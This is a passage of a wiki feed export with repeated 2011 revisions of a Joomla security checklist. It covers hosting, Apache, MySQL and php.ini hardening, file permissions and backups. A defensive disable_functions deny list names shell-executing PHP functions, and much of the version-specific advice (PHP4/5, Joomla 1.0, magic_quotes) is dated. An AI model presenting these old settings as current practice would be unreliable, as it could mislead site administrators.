: {{JVer|1.0}} Turn Joomla&#039;s Register Globals Emulation OFF. Although this setting is somewhat safer than PHP register_globals, you are much better off avoiding such settings all together (as well as any applications that require them). On pre-1.0.13 versions of Joomla, this setting is found in the globals.php file. As of version 1.0.13, it can be turned off in the Back-end, under Global Settings. &lt;br /&gt;
&lt;br /&gt;
: {{JVer|1.5}}{{JVer|1.6}} Joomla 1.5 and greater, does not use register globals, and in fact has smart code to defeat this setting even if it&#039;s turned on at the PHP level. Note that although this makes Joomla itself safer, any server with register globals turned on is potentially vulnerable. Any shared server with register globals turned on is more than likely a sitting duck. Any hosting provider that insists register globals should be turned on is ignorant, incompetent, or worse. Was that blunt enough?&lt;br /&gt;
&lt;br /&gt;
: For more information on register_globals, please see [[Security_Checklist_2_-_Hosting_and_Server_Setup#Don.27t_use_PHP_register_globals|Security Checklist: PHP: register_globals]].&lt;br /&gt;
&lt;br /&gt;
== Installing Joomla! Extensions ==&lt;br /&gt;
&lt;br /&gt;
===Backup before installing ===&lt;br /&gt;
: Before installing extensions, always backup your site&#039;s files and database. This follows a very basic principle: &lt;br /&gt;
&lt;br /&gt;
: &#039;&#039;&#039;&#039;&#039;Thou shalt at all times be able to return your site to a previous working state.&#039;&#039;&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
: Therefore, it&#039;s smart to set up a simple and fast backup script to automate this task. If you don&#039;t set up an easy process in advance, you&#039;ll be sorely tempted to do a quick upgrade without backing up first. This very understandable tendency is however one of the chief causes of premature hair loss, sudden career changes, and even death.&lt;br /&gt;
&lt;br /&gt;
===Check for extension vulnerabilities===&lt;br /&gt;
: Most security vulnerabilities are caused by third party extensions. Before installing extensions, check the Official List of Vulnerable 3rd Party/Non Joomla! Extensions. There&#039;s an entire forum dedicated to vulnerable third part extensions. Subscribe to it.&lt;br /&gt;
&lt;br /&gt;
===Download from trusted sites=== &lt;br /&gt;
: The fully qualified and official definition of a &amp;quot;trusted site&amp;quot; is one that &#039;&#039;&#039;YOU&#039;&#039;&#039; trust.&lt;br /&gt;
&lt;br /&gt;
===User beware! Check the code quality===&lt;br /&gt;
: Third party extensions come in all flavors of quality and age. Although Joomla! coding standards exist, third party developers are not required to follow them. Extensions listed on the official Joomla! site are not reviewed for compliance, however if verified vulnerabilities are reported, they will be removed from the list until they are fixed.&lt;br /&gt;
&lt;br /&gt;
===Test, test, test...===&lt;br /&gt;
: Test all extensions on a development site before installing on a production site. Then test on the production site. Don&#039;t forget to check the logs for runtime errors and warnings.&lt;br /&gt;
&lt;br /&gt;
===Remove junk files===&lt;br /&gt;
: Remove all unused extensions and double check that related folders and files were actually removed by uninstall scripts. Note that during uninstall, many third party extensions will leave related files on your site, and related database tables complete with data. This is either a feature or a bug depending on your point of view. Any files left on your server remain accessible from the Web via direct URLs, such as http://yousite.com/modules/bad_module.&lt;br /&gt;
&lt;br /&gt;
===Avoid encrypted code===&lt;br /&gt;
: Joomla is (and dispite disinformation campaigns, always has been) a GNU GPL project. This means that all extensions to Joomla must also be free (as in freedom) and open (as in readable code). Encrypted code may be safe, but you can&#039;t determine this for yourself, and so you must trust the developers. Using others&#039; encrypted code puts you back in the world of proprietary software where you must wait for security patches from the developer, hoping that attackers don&#039;t find your site first before a fix is released.&lt;br /&gt;
&lt;br /&gt;
: You are often not free to modify, improve, or share encrypted code. These restrictions make encrypted code less valuable to the community as a whole, and reduce the overall viability of the Joomla project which depends on open sharing among all participants.&lt;br /&gt;
&lt;br /&gt;
: Of course, code that is not distributed to others is exempt from GNU GPL distribution requirements. Thus you can encrypt Joomla-related code your own servers providing you do not share it with others.&lt;br /&gt;
&lt;br /&gt;
==Additional Joomla! Hardening Tips and Tricks ==&lt;br /&gt;
&lt;br /&gt;
===Avoid shared servers if possible===&lt;br /&gt;
: For maximum security, avoid a shared server on which you don&#039;t know or can&#039;t trust all the other users or their code quality.&lt;br /&gt;
&lt;br /&gt;
===Use an SSL server===&lt;br /&gt;
&#039;&#039;This more to do with secure payments and administration, and is not joomla core or server security, but have been included here for advice&lt;br /&gt;
&#039;&#039;&lt;br /&gt;
: SSL servers are currently the only way to securely process confidential transactions and secure user authentication. SSL works by encrypting all HTTP communications between the Web server and Web clients. Thus, even if a transmission is intercepted, it cannot be read. &lt;br /&gt;
&lt;br /&gt;
: Joomla! 1.0.x does not allow you to assign an SSL server to individual sub-directories. Search the forums for &amp;quot;Tommy Hack&amp;quot; for one way to deal with this. Joomla! 1.5 has greatly improved SSL options.&lt;br /&gt;
&lt;br /&gt;
===Use Apache&#039;s .htaccess===&lt;br /&gt;
: For an additional layer of password protection, you can use .htaccess to password protect critical  directories. This is usually adequate for blocking the typical script kiddie, but be aware that .htaccess password protection alone is not a highly secure method. It MUST be combined with an SSL server for maximum protection. An SSL server is required for protecting your site from more sophisticated attacks, such as packet sniffing.&lt;br /&gt;
&lt;br /&gt;
===Switch to Joomla! 1.5 or newer===&lt;br /&gt;
{{JVer|1.0}} The most significant upgrade in Joomla!&#039;s history includes powerful security and performance enhancements.&lt;br /&gt;
* [http://www.joomla.org/content/view/4483/118/ Joomla 1.5 Overview]&lt;br /&gt;
* [http://joomlacode.org/gf/project/joomla/frs/?action=index Joomla Downloads]&lt;br /&gt;
&lt;br /&gt;
=== Add Joomla! Security Announcements to your site ===&lt;br /&gt;
: The Joomla! Security Team supports and RSS feed that provides the latest Joomla security information. The following FAQ explains how to add this feed to your site.&lt;br /&gt;
&lt;br /&gt;
* [http://docs.joomla.org/Security_and_Performance_FAQs#How_can_I_add_the_Joomla.21_Security_Announcements_Feed_to_the_Admin_Control_Panel.3F How can I add the Joomla! Security Announcements Feed to the Admin Control Panel?]&lt;br /&gt;
&lt;br /&gt;
== Choose A Checklist==&lt;br /&gt;
# [[Security Checklist 1 - Getting Started|Getting Started]] &lt;br /&gt;
# [[Security Checklist 2 - Hosting and Server Setup|Hosting and Server Setup]]&lt;br /&gt;
# [[Security Checklist 3 - Testing and Development|Testing and Development]]&lt;br /&gt;
# [[Security Checklist 4 - Joomla Setup|Joomla Setup]]&lt;br /&gt;
# [[Security Checklist 5 - Site Administration|Site Administration]]&lt;br /&gt;
# [[Security Checklist 6 - Site Recovery|Site Recovery]]&lt;br /&gt;
&lt;br /&gt;
== Edited by==&lt;br /&gt;
[http://forum.joomla.org/memberlist.php?mode=viewprofile&amp;amp;u=39784 rliskey]&lt;br /&gt;
&lt;br /&gt;
&amp;lt;!-- KEEP THIS AT THE END OF THE PAGE --&amp;gt;&lt;br /&gt;
[[Category:Security Checklist]]&lt;/div&gt;</summary>
		<author><name>Royce</name></author>
	</entry>
	<entry>
		<id>https://docs.sandbox.joomla.org/index.php?title=Security_Checklist/Hosting_and_Server_Setup&amp;diff=59921</id>
		<title>Security Checklist/Hosting and Server Setup</title>
		<link rel="alternate" type="text/html" href="https://docs.sandbox.joomla.org/index.php?title=Security_Checklist/Hosting_and_Server_Setup&amp;diff=59921"/>
		<updated>2011-06-26T23:13:58Z</updated>

		<summary type="html">&lt;p&gt;Royce: /* Use local php.ini files */ Minor spelling&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;{{RightTOC}}&lt;br /&gt;
== Choose a Qualified Hosting Provider ==&lt;br /&gt;
&lt;br /&gt;
===The most important decision===&lt;br /&gt;
: Probably no decision is more critical to site security than the choice of hosts and servers. However, due to the wide variety of hosting options and configurations, it&#039;s not possible to provide a complete list for all situations. Check this unbiased [http://resources.joomla.org/directory/support-services/hosting.html list of recommended hosts]who fully meet the security requirements of a typical Joomla site. ([[Security_and_Performance_FAQs#How_do_I_choose_a_quality_hosting_provider.3F|FAQ]])&lt;br /&gt;
&lt;br /&gt;
===Shared server risks===&lt;br /&gt;
: If you are on a tight budget and your site does not process highly confidential data, you can probably get by with a shared server, but you must understand the unavoidable risks. Most of the tips listed below are appropriate for securing sites on shared server environments.&lt;br /&gt;
&lt;br /&gt;
===Avoid sloppy server configurations===&lt;br /&gt;
: For a real eye-opener, [http://www.nexen.net/articles/dossier/php_configuration_statitstics.php read this report] on thousands of sites that allowed Google to index the results of phpinfo(). Don&#039;t make this mistake on your site! The report includes alarming statistics on the percentage of sites that use deprecated settings such as register_globals ON or that don&#039;t have open_basedir set at all: By the way, if &#039;&#039;phpini&#039;&#039; and &#039;&#039;register_globals&#039;&#039; are unfamiliar terms you are probably not ready to securely manage your own site.&lt;br /&gt;
&lt;br /&gt;
==Configuring Apache==&lt;br /&gt;
&lt;br /&gt;
===Use Apache .htaccess===&lt;br /&gt;
&#039;&#039;See also [[htaccess examples (security)|.htaccess examples]]&#039;&#039;&lt;br /&gt;
: Block typical exploit attempts with local Apache &#039;&#039;.htaccess&#039;&#039; files. This option is not enabled on all servers. Check with your host if you run into problems. Using &#039;&#039;.htaccess&#039;&#039;, you can password protect sensitive directories, such as administrator, restrict access to sensitive directories by IP Address, and depending on your server&#039;s configuration, you may be able to increase security by switching from PHP4 to PHP5.&lt;br /&gt;
&lt;br /&gt;
: Joomla ships with a [[preconfigured .htaccess]] file, but *you* need to choose to use it. The file is called htaccess.txt. To use it, rename it to .htaccess and place it in the root of your site using FTP. One important point to note is that as the distributed file is called htaccess.txt and the live file on your site is called .htaccess, the file your site actually uses is NOT updated when you update your site to use to a new version of Joomla. You must manually make the changes to use the new file version. There are significant changes in the file distributed with 1.5.23 onwards and 1.6.2 onwards.&lt;br /&gt;
&lt;br /&gt;
: Consider following the &amp;quot;Least Privilege&amp;quot; principle for running PHP using tools such as PHPsuExec, php_suexec or suPHP. (Note: These are advanced methods that require agreement and coordination with your hosting provider. Such options are enabled or disabled on a server-wide basis and are not individually adjustable on shared servers.) &amp;lt;/li&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===Use Apache mod_security===&lt;br /&gt;
: Configure Apache mod_security and mod_rewrite filters to block PHP attacks. See [http://www.google.com/search?q=apache%20mod_security Google search for mod_security] and [http://www.google.com/search?q=apache%20mod_rewrite Google search for mod_rewrite]. (Note: These are advanced methods that usually require agreement and coordination with your hosting provider. Such options are enabled or disabled on a server-wide basis and are not individually adjustable on shared servers.)&lt;br /&gt;
&lt;br /&gt;
==Configuring MySQL== &lt;br /&gt;
&lt;br /&gt;
===Secure the database===&lt;br /&gt;
: Be sure MySQL accounts are set with limited access. The initial install of MySQL is insecure and careful configuration is required. (See the [http://dev.mysql.com/doc/ MySQL Manuals]) Note: This item applies only to those administering their own servers, such as dedicated servers. Users of shared servers are dependent on their hosting provider to set proper database security.)&lt;br /&gt;
&lt;br /&gt;
== Configuring PHP==&lt;br /&gt;
&lt;br /&gt;
===Understand how PHP works===&lt;br /&gt;
: Understand how to work with the php.ini file, and how PHP configurations are controlled. Study the [http://us3.php.net/manual/en/ini.php#ini.list Official List of php.ini Directives] at http://www.php.net, and the well-documented default php.ini file included with every PHP install. Here is the [http://svn.php.net/viewvc/php/php-src/trunk/php.ini-production?view=co latest default php.ini file] on the official PHP site.&lt;br /&gt;
&lt;br /&gt;
===Use PHP5===&lt;br /&gt;
: Currently, both PHP4 and PHP5 are maintained, and both are often available on servers. Before PHP4 becomes obsolete, upgrade your custom scripts to PHP5. Don&#039;t worry about core Joomla code; all current versions are PHP5 compatible. (See [http://www.php.net/ PHP News])&lt;br /&gt;
&lt;br /&gt;
===Use local php.ini files===&lt;br /&gt;
: On shared servers you can&#039;t edit the main php.ini file, but you may be able to add custom, local php.ini files. If so, you&#039;ll need to copy the php.ini files to every sub-directory that requires custom settings. Luckily a [http://tips-scripts.com/free set of scripts at B &amp;amp; T Scripts and Tips] can do the hard work for you.&lt;br /&gt;
&lt;br /&gt;
: &#039;&#039;&#039;There are a few important things to keep in mind.&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
# Local &#039;&#039;php.ini&#039;&#039; files &#039;&#039;&#039;&#039;&#039;only&#039;&#039;&#039;&#039;&#039; have an effect if your server is configured to use them. This includes a &#039;&#039;php.ini&#039;&#039; file in your &#039;&#039;http_root&#039;&#039; directory. You can test whether or not these file affect your site by setting an obvious directive in the local &#039;&#039;php.ini&#039;&#039; file to see if it affects your site.&lt;br /&gt;
# Local &#039;&#039;php.ini&#039;&#039; files only affect &#039;&#039;.php&#039;&#039; files that are located within the same directory (or included() or required() from those files). This means that there are normally only two Joomla! directories in which you would want to place a &#039;&#039;php.ini&#039;&#039; file. They are your &#039;&#039;http_root&#039;&#039;(your actual directory name may vary), which is where Joomla&#039;s Front-end &#039;&#039;index.php&#039;&#039; file is located, and the Joomla! &#039;&#039;administrator&#039;&#039; directory, which is where the Back-end administrator &#039;&#039;index.php&#039;&#039; file is located. Other directories that don&#039;t have files called via the Web do not need local &#039;&#039;php.ini&#039;&#039; files.&lt;br /&gt;
# If you have a &#039;&#039;php.ini&#039;&#039; file in every directory, some script probably did this for you. If you didn&#039;t intend it to happen, you probably should root them out, but given #2 above, you probably only have to panic about the &#039;&#039;php.ini&#039;&#039; files in &#039;&#039;http_root&#039;&#039; and the &#039;&#039;administrator&#039;&#039; directories.&lt;br /&gt;
&lt;br /&gt;
===Use PHP disable_functions===&lt;br /&gt;
: Use &#039;&#039;disable_functions&#039;&#039; to disable dangerous PHP functions that are not needed by your site. Here is a typical setup for a Joomla! site:&lt;br /&gt;
&lt;br /&gt;
      disable_functions = show_source, system, shell_exec, passthru, exec, phpinfo, popen, proc_open&lt;br /&gt;
&lt;br /&gt;
===Use PHP open_basedir===&lt;br /&gt;
: &#039;&#039;open_basedir&#039;&#039; should be enabled and correctly configured. This directive limits the files that can be opened by PHP to the specified directory-tree. This directive is NOT affected by whether Safe Mode is ON or OFF. &lt;br /&gt;
&lt;br /&gt;
: The restriction specified with open_basedir is a prefix, not a directory name. This means that &#039;&#039;open_basedir = /dir/incl&#039;&#039; allows access to &#039;&#039;/dir/include&#039;&#039; and &#039;&#039;/dir/incls&#039;&#039; if they exist. To restrict access to only the specified directory, end with a slash. For more information, see [http://us3.php.net/manual/en/features.safe-mode.php#ini.safe-mode PHP Security and Safe Mode Configuration Directives].&lt;br /&gt;
&lt;br /&gt;
     open_basedir = /home/users/you/public_html&lt;br /&gt;
&lt;br /&gt;
: In some system configurations, at least with PHP 4.4.8, the use of the trailing slash to restrict the access to only the specified directory may cause Joomla to warn &#039;&#039;JFolder::create: Infinite loop detected&#039;&#039; when saving the Back-End Global Configuration. This warning is triggered because PHP &#039;&#039;file_exists()&#039;&#039; function fails, for example, when asked if &#039;&#039;/home/user/public_html/joomla_demo&#039;&#039; exists and &#039;&#039;open_basedir&#039;&#039; is set to &#039;&#039;/home/user/public_html/joomla_demo/&#039;&#039; (see the trailing slash).&lt;br /&gt;
&lt;br /&gt;
: Additionally, if &#039;&#039;open_basedir&#039;&#039; is set it may be necessary to set PHP &#039;&#039;upload_tmp_dir&#039;&#039; configuration directive to a path that falls within the scope of &#039;&#039;open_basedir&#039;&#039; or, alternatively, add the &#039;&#039;upload_tmp_dir&#039;&#039; path to &#039;&#039;open_basedir&#039;&#039; using the appropriate path separator for the host system.&lt;br /&gt;
&lt;br /&gt;
     open_basedir = /home/users/you/public_html:/tmp&lt;br /&gt;
&lt;br /&gt;
: PHP will use the system&#039;s temporary directory when &#039;&#039;upload_tmp_dir&#039;&#039; is not set or when it is set but the directory does not exist, therefore it may be necessary to add it to &#039;&#039;open_basedir&#039;&#039; as above to avoid uploading errors within Joomla.&lt;br /&gt;
&lt;br /&gt;
===Adjust magic_quotes_gpc===&lt;br /&gt;
: Adjust the &#039;&#039;magic_quotes_gpc&#039;&#039; directive as needed for your site. The recommended setting for Joomla! 1.0.x is ON to protect against poorly-written third-party extensions. The safest method is to turn &#039;&#039;magic_quotes_gpc&#039;&#039; off and avoid all poorly-written extensions, period. &lt;br /&gt;
&lt;br /&gt;
: Joomla! 1.5 ignores this setting and works fine either way. &lt;br /&gt;
For more information, see either [http://docs.joomla.org/Magic_quotes_and_security Magic quotes and security] or &lt;br /&gt;
[http://us3.php.net/magic_quotes PHP Manual, Chapter 31. Magic Quotes].&lt;br /&gt;
&lt;br /&gt;
      magic_quotes_gpc = 1&lt;br /&gt;
&lt;br /&gt;
===Don&#039;t use PHP safe_mode===&lt;br /&gt;
: Avoid the use of PHP safe_mode. This is a valid but incomplete solution to a deeper problem and provides a false sense of security. See the official PHP site for an explanation of this issue.&lt;br /&gt;
&lt;br /&gt;
      safe_mode = 0&lt;br /&gt;
&lt;br /&gt;
===Don&#039;t use PHP register_globals===&lt;br /&gt;
: Automatically registering global variables was probably one of the dumbest decisions the developers of PHP made. This directive determines whether or not to register the EGPCS (Environment, GET, POST, Cookie, Server) variables as global variables where they become immediately available to all PHP scripts, and where they can easily overwrite your own variable if you&#039;re not careful. Luckily, the PHP developers long since realized the mistake and have deprecated this &#039;feature&#039;. &lt;br /&gt;
&lt;br /&gt;
: If your site is on a shared server with a hosting provider that insists &#039;&#039;register_globals&#039;&#039; must be on, you should be very worried. Although you can often turn register_globals off for your own site with a local php.ini file, this adds little security as other sites on the same server remain vulnerable to attacks which can then launch attacks against your site from within the server. For more information, see [http://www.zend.com/manual/security.globals.php ZEND Chapter 29. Using Register Globals].&lt;br /&gt;
&lt;br /&gt;
      register_globals = 0&lt;br /&gt;
&lt;br /&gt;
===Don&#039;t use PHP allow_url_fopen===&lt;br /&gt;
&lt;br /&gt;
: Don&#039;t use PHP &#039;&#039;allow_url_fopen&#039;&#039;. This option enables the URL-aware fopen wrappers that enable accessing URL object like files. Default wrappers are provided for the access of remote files using the ftp or http protocol, some extensions like zlib may register additional wrappers. Note: This can only be set in php.ini due to security reasons.&lt;br /&gt;
&lt;br /&gt;
      allow_url_fopen = 0&lt;br /&gt;
&lt;br /&gt;
==File permissions==&lt;br /&gt;
If a joomla installation is hosted on apache with mod_php, then all virtual hosts on that server run in the same context as your joomla code.  If the files are owned by some other user than &#039;nobody&#039; or &#039;wwwrun&#039;, the safest permissions are those which &#039;&#039;&#039;prevent&#039;&#039;&#039; changes to the joomla code, unless via an authorised channel (e.g. FTP):&lt;br /&gt;
*DocumentRoot directory: 711 (e.g. public_html)&lt;br /&gt;
*Files: 644&lt;br /&gt;
*Directories: 755 (711 if you are paranoid, but not for directories which need to be listed) (owner: some user)&lt;br /&gt;
*Cache and tmp directories: 777  (these directories will contain files owned by the web user - apache/nobody/wwwdata, etc)&lt;br /&gt;
With these permissions set, you will need to use FTP to update your Joomla installation.  Not all modules support this.  Remove modules which do not support FTP upgrades.&lt;br /&gt;
Other processes running under mod_php can read &#039;&#039;&#039;your&#039;&#039;&#039; configuration.php.  You can frustrate automated hacks by renaming this file.  You should not store your FTP password in your configuration file on such hosts, as your account &#039;&#039;will&#039;&#039; be compromised.&lt;br /&gt;
&lt;br /&gt;
If a joomla installation is hosted on apache with fast-cgi, suphp or cgi that runs as a different user, then you should set your permissions as follows:&lt;br /&gt;
* DocumentRoot directory: 711 (e.g. public_html)&lt;br /&gt;
* PHP files: 600 (400 if you are truly paranoid)&lt;br /&gt;
* HTML and image files: 644 (444 if you are truly paranoid)&lt;br /&gt;
* Directories: 755 (711 if you are paranoid, but not for directories which need to be listed)&lt;br /&gt;
* Temp and cache directories: 700 (these are written as your user)&lt;br /&gt;
&lt;br /&gt;
==Setup a backup and recovery process==&lt;br /&gt;
===The most important rule:&#039;===&lt;br /&gt;
: Thou shalt at all time be able to return your site to a previous working state through regular use of a strong, off-site backup and recovery process. Be sure your backup and recovery process is in place and tested BEFORE you go live. This is the single best way (and often the only way) to recover from such inevitable catastrophes as:&lt;br /&gt;
&lt;br /&gt;
# A compromised/cracked site.&lt;br /&gt;
# Broken site due to a faulty upgrade.&lt;br /&gt;
# Hardware failure, such as dead hard drives, power failures, server theft, etc.&lt;br /&gt;
# Authoritarian government intervention. (More common than some think.)&lt;br /&gt;
# Needing to quickly relocate to a new server or hosting provider.&lt;br /&gt;
&lt;br /&gt;
== Choose A Checklist==&lt;br /&gt;
# [[Security Checklist 1 - Getting Started|Getting Started]] &lt;br /&gt;
# [[Security Checklist 2 - Hosting and Server Setup|Hosting and Server Setup]]&lt;br /&gt;
# [[Security Checklist 3 - Testing and Development|Testing and Development]]&lt;br /&gt;
# [[Security Checklist 4 - Joomla Setup|Joomla Setup]]&lt;br /&gt;
# [[Security Checklist 5 - Site Administration|Site Administration]]&lt;br /&gt;
# [[Security Checklist 6 - Site Recovery|Site Recovery]]&lt;br /&gt;
&lt;br /&gt;
== Edited by==&lt;br /&gt;
[http://forum.joomla.org/memberlist.php?mode=viewprofile&amp;amp;u=39784 rliskey]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;lt;!-- KEEP THIS AT THE END OF THE PAGE --&amp;gt;&lt;br /&gt;
[[Category:Security Checklist]]&lt;/div&gt;</summary>
		<author><name>Royce</name></author>
	</entry>
	<entry>
		<id>https://docs.sandbox.joomla.org/index.php?title=User_talk:Royce&amp;diff=59920</id>
		<title>User talk:Royce</title>
		<link rel="alternate" type="text/html" href="https://docs.sandbox.joomla.org/index.php?title=User_talk:Royce&amp;diff=59920"/>
		<updated>2011-06-26T21:48:00Z</updated>

		<summary type="html">&lt;p&gt;Royce: Created page with &amp;quot;First edit!  s/depreciated/deprecated/g :-) - ~~~~&amp;quot;&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;First edit!  s/depreciated/deprecated/g :-) - [[User:Royce|Royce]] 16:47, 26 June 2011 (CDT)&lt;/div&gt;</summary>
		<author><name>Royce</name></author>
	</entry>
	<entry>
		<id>https://docs.sandbox.joomla.org/index.php?title=Security_Checklist/Hosting_and_Server_Setup&amp;diff=59919</id>
		<title>Security Checklist/Hosting and Server Setup</title>
		<link rel="alternate" type="text/html" href="https://docs.sandbox.joomla.org/index.php?title=Security_Checklist/Hosting_and_Server_Setup&amp;diff=59919"/>
		<updated>2011-06-26T21:46:42Z</updated>

		<summary type="html">&lt;p&gt;Royce: Minor misspelling - depreciated != deprecated&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;{{RightTOC}}&lt;br /&gt;
== Choose a Qualified Hosting Provider ==&lt;br /&gt;
&lt;br /&gt;
===The most important decision===&lt;br /&gt;
: Probably no decision is more critical to site security than the choice of hosts and servers. However, due to the wide variety of hosting options and configurations, it&#039;s not possible to provide a complete list for all situations. Check this unbiased [http://resources.joomla.org/directory/support-services/hosting.html list of recommended hosts]who fully meet the security requirements of a typical Joomla site. ([[Security_and_Performance_FAQs#How_do_I_choose_a_quality_hosting_provider.3F|FAQ]])&lt;br /&gt;
&lt;br /&gt;
===Shared server risks===&lt;br /&gt;
: If you are on a tight budget and your site does not process highly confidential data, you can probably get by with a shared server, but you must understand the unavoidable risks. Most of the tips listed below are appropriate for securing sites on shared server environments.&lt;br /&gt;
&lt;br /&gt;
===Avoid sloppy server configurations===&lt;br /&gt;
: For a real eye-opener, [http://www.nexen.net/articles/dossier/php_configuration_statitstics.php read this report] on thousands of sites that allowed Google to index the results of phpinfo(). Don&#039;t make this mistake on your site! The report includes alarming statistics on the percentage of sites that use deprecated settings such as register_globals ON or that don&#039;t have open_basedir set at all: By the way, if &#039;&#039;phpini&#039;&#039; and &#039;&#039;register_globals&#039;&#039; are unfamiliar terms you are probably not ready to securely manage your own site.&lt;br /&gt;
&lt;br /&gt;
==Configuring Apache==&lt;br /&gt;
&lt;br /&gt;
===Use Apache .htaccess===&lt;br /&gt;
&#039;&#039;See also [[htaccess examples (security)|.htaccess examples]]&#039;&#039;&lt;br /&gt;
: Block typical exploit attempts with local Apache &#039;&#039;.htaccess&#039;&#039; files. This option is not enabled on all servers. Check with your host if you run into problems. Using &#039;&#039;.htaccess&#039;&#039;, you can password protect sensitive directories, such as administrator, restrict access to sensitive directories by IP Address, and depending on your server&#039;s configuration, you may be able to increase security by switching from PHP4 to PHP5.&lt;br /&gt;
&lt;br /&gt;
: Joomla ships with a [[preconfigured .htaccess]] file, but *you* need to choose to use it. The file is called htaccess.txt. To use it, rename it to .htaccess and place it in the root of your site using FTP. One important point to note is that as the distributed file is called htaccess.txt and the live file on your site is called .htaccess, the file your site actually uses is NOT updated when you update your site to use to a new version of Joomla. You must manually make the changes to use the new file version. There are significant changes in the file distributed with 1.5.23 onwards and 1.6.2 onwards.&lt;br /&gt;
&lt;br /&gt;
: Consider following the &amp;quot;Least Privilege&amp;quot; principle for running PHP using tools such as PHPsuExec, php_suexec or suPHP. (Note: These are advanced methods that require agreement and coordination with your hosting provider. Such options are enabled or disabled on a server-wide basis and are not individually adjustable on shared servers.) &amp;lt;/li&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===Use Apache mod_security===&lt;br /&gt;
: Configure Apache mod_security and mod_rewrite filters to block PHP attacks. See [http://www.google.com/search?q=apache%20mod_security Google search for mod_security] and [http://www.google.com/search?q=apache%20mod_rewrite Google search for mod_rewrite]. (Note: These are advanced methods that usually require agreement and coordination with your hosting provider. Such options are enabled or disabled on a server-wide basis and are not individually adjustable on shared servers.)&lt;br /&gt;
&lt;br /&gt;
==Configuring MySQL== &lt;br /&gt;
&lt;br /&gt;
===Secure the database===&lt;br /&gt;
: Be sure MySQL accounts are set with limited access. The initial install of MySQL is insecure and careful configuration is required. (See the [http://dev.mysql.com/doc/ MySQL Manuals]) Note: This item applies only to those administering their own servers, such as dedicated servers. Users of shared servers are dependent on their hosting provider to set proper database security.)&lt;br /&gt;
&lt;br /&gt;
== Configuring PHP==&lt;br /&gt;
&lt;br /&gt;
===Understand how PHP works===&lt;br /&gt;
: Understand how to work with the php.ini file, and how PHP configurations are controlled. Study the [http://us3.php.net/manual/en/ini.php#ini.list Official List of php.ini Directives] at http://www.php.net, and the well-documented default php.ini file included with every PHP install. Here is the [http://svn.php.net/viewvc/php/php-src/trunk/php.ini-production?view=co latest default php.ini file] on the official PHP site.&lt;br /&gt;
&lt;br /&gt;
===Use PHP5===&lt;br /&gt;
: Currently, both PHP4 and PHP5 are maintained, and both are often available on servers. Before PHP4 becomes obsolete, upgrade your custom scripts to PHP5. Don&#039;t worry about core Joomla code; all current versions are PHP5 compatible. (See [http://www.php.net/ PHP News])&lt;br /&gt;
&lt;br /&gt;
===Use local php.ini files===&lt;br /&gt;
: On shared servers you can&#039;t edit the main php.ini file, but you may be able to add custom, local php.ini files. If so, you&#039;ll need to copy the php.ini files to every sub-directory that requires custom settings. Luckily a [http://tips-scripts.com/free set of scripts at B &amp;amp; T Scripts and Tips] can do the hard work for you.&lt;br /&gt;
&lt;br /&gt;
: &#039;&#039;&#039;There are a few important things to keep in mind.&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
# Local &#039;&#039;php.ini&#039;&#039; files &#039;&#039;&#039;&#039;&#039;only&#039;&#039;&#039;&#039;&#039; have an effect if your server is configured to use them. This includes a &#039;&#039;php.ini&#039;&#039; file in your &#039;&#039;http_root&#039;&#039; directory. You can test whether or not these file affect your site by setting an obvious directive in the local &#039;&#039;php.ini&#039;&#039; file to see if it affects your site.&lt;br /&gt;
# Local &#039;&#039;php.ini&#039;&#039; files only effect &#039;&#039;.php&#039;&#039; files that are located within the same directory (or included() or required() from those files). This means that there are normally only two Joomla! directories in which you would want to place a &#039;&#039;php.ini&#039;&#039; file. They are your &#039;&#039;http_root&#039;&#039;(your actual directory name may vary), which is where Joomla&#039;s Front-end &#039;&#039;index.php&#039;&#039; file is located, and the Joomla! &#039;&#039;administrator&#039;&#039; directory, which is where the Back-end administrator &#039;&#039;index.php&#039;&#039; file is located. Other directories that don&#039;t have files called via the Web do not need local &#039;&#039;php.ini&#039;&#039; files.&lt;br /&gt;
# If you have a &#039;&#039;php.ini&#039;&#039; file in every directory, some script probably did this for you. If you didn&#039;t intend it to happen, you probably should root them out, but given #2 above, you probably only have to panic about the &#039;&#039;php.ini&#039;&#039; files in &#039;&#039;http_root&#039;&#039; and the &#039;&#039;administrator&#039;&#039; directories.&lt;br /&gt;
&lt;br /&gt;
===Use PHP disable_functions===&lt;br /&gt;
: Use &#039;&#039;disable_functions&#039;&#039; to disable dangerous PHP functions that are not needed by your site. Here is a typical setup for a Joomla! site:&lt;br /&gt;
&lt;br /&gt;
      disable_functions = show_source, system, shell_exec, passthru, exec, phpinfo, popen, proc_open&lt;br /&gt;
&lt;br /&gt;
===Use PHP open_basedir===&lt;br /&gt;
: &#039;&#039;open_basedir&#039;&#039; should be enabled and correctly configured. This directive limits the files that can be opened by PHP to the specified directory-tree. This directive is NOT affected by whether Safe Mode is ON or OFF. &lt;br /&gt;
&lt;br /&gt;
: The restriction specified with open_basedir is a prefix, not a directory name. This means that &#039;&#039;open_basedir = /dir/incl&#039;&#039; allows access to &#039;&#039;/dir/include&#039;&#039; and &#039;&#039;/dir/incls&#039;&#039; if they exist. To restrict access to only the specified directory, end with a slash. For more information, see [http://us3.php.net/manual/en/features.safe-mode.php#ini.safe-mode PHP Security and Safe Mode Configuration Directives].&lt;br /&gt;
&lt;br /&gt;
     open_basedir = /home/users/you/public_html&lt;br /&gt;
&lt;br /&gt;
: In some system configurations, at least with PHP 4.4.8, the use of the trailing slash to restrict the access to only the specified directory may cause Joomla to warn &#039;&#039;JFolder::create: Infinite loop detected&#039;&#039; when saving the Back-End Global Configuration. This warning is triggered because PHP &#039;&#039;file_exists()&#039;&#039; function fails, for example, when asked if &#039;&#039;/home/user/public_html/joomla_demo&#039;&#039; exists and &#039;&#039;open_basedir&#039;&#039; is set to &#039;&#039;/home/user/public_html/joomla_demo/&#039;&#039; (see the trailing slash).&lt;br /&gt;
&lt;br /&gt;
